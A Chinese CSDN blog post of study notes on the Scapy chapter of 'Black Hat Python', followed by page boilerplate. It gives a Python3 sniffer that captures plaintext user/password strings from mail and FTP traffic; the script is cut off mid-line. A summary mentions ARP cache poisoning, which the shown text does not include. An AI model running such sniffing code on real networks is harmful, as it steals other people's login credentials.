scapy python3_【Python3黑帽子学习笔记 on Mac】第四章 Scapy:网络的掌控者

本文介绍了如何在Python3环境下使用Scapy进行网络嗅探和ARP缓存投毒。首先,通过pip3安装scapy-python3和libdnet库。接着,展示了用于捕获邮件和FTP认证信息的代码示例,虽然实际场景中可能已使用SSL加密。然后,详细阐述了如何利用Scapy进行ARP缓存投毒,包括恢复目标网络、获取MAC地址、启动毒害线程和捕获数据包。在Mac和Windows上运行时遇到了一些警告和不理解的问题。
摘要由CSDN通过智能技术生成

Scapy:网络掌控者?

哇咔咔,我喜欢!可是我的问题来了,貌似Scapy只支持Python2,那哥哥这Python3咋办呢?

【最新更新:目前scapy目前已经支持Python3了,就不用折腾这个了。】

按照其说明进行安装即可:

pip3 install scapy-python3 # 通过pip直接安装scapy3库

brew install libdnet # 补充安装scapy3需要的libdnet

窃取Email/FTP认证

#!/usr/bin/env python3

# -*- code: utf-8 -*-

from scapy.all import *

# 数据包回调函数

def packet_callback(packet):

#print(packet.show())

if packet[TCP].payload:

mail_packet = str(packet[TCP].payload)

if "user" in mail_packet.lower() or "pass" in mail_packet.lower():

print ("[*] Server: %s" % packet[IP].dst)

print ("[*] %s" % packet[TCP].payload)

# 开启嗅探器

sniff(filter="tcp port 110 or tcp port 25 or tcp port 143 or tcp port 21",prn=packet_callback, store=0,cou

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值